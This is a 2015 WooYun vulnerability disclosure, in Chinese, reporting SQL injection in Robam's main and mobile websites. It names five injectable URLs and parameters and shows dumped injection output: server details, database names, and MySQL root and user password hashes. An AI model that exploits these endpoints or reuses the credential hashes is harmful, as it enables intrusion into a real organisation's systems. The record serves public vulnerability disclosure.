当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0111389

漏洞标题：老板电器主站分站多处SQL注入全部信息沦陷

相关厂商：老板电器

漏洞作者： #6c6c6c

提交时间：2015-05-01 09:29

修复时间：2015-06-15 09:30

公开时间：2015-06-15 09:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-01： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-06-15： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

sql

详细说明：

WooYun: 老板电器主站SQL注入全部信息沦陷
无聊在乌云看漏洞，看看前提的公开漏洞

Target: 		http://m.robam.com/2c1.php?classid=1
Host IP:		183.129.129.77
Web Server: 	Apache/2.4.4 (Win32) PHP/5.4.16
Powered-by: 	PHP/5.4.16
DB Server: 	MySQL
Resp. Time(avg):	805 ms
Current User: 	root@localhost
Sql Version: 	5.6.12
Current DB: 	dbrobamcom
System User: 	root@localhost
Host Name: 	USER-T5K83SCQC5
Installation dir: 	E:/Program Files/MySQL/MySQL Server 5.6/
DB User & Pass: 	root:*AFE1E4B2058678DBCF19B7C9CF60C78D79B6A971:localhost
		root:*AFE1E4B2058678DBCF19B7C9CF60C78D79B6A971:127.0.0.1
		root:*AFE1E4B2058678DBCF19B7C9CF60C78D79B6A971:
		sql:*86803CE6E3FB0482F55E703D0A87A2059FE1B5F8:%
Data Bases: 	information_schema
		bonyee
		dbrobamcom
		mysql
		performance_schema
		robam_activity
		robam_rec
		robamse
		robamweb
		sakila
		test
		world


http://m.robam.com/2c1.php?classid=1
http://www.robam.com/Search/search.html title=1 存在POST sql注入
http://m.robam.com/2c2.php?id=17
http://m.robam.com/9job_1.php?id=5
http://m.robam.com/searchresult.php keyword=1 存在POST sql注入

漏洞证明：

修复方案：

过滤啊！

版权声明：转载请注明来源 #6c6c6c@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝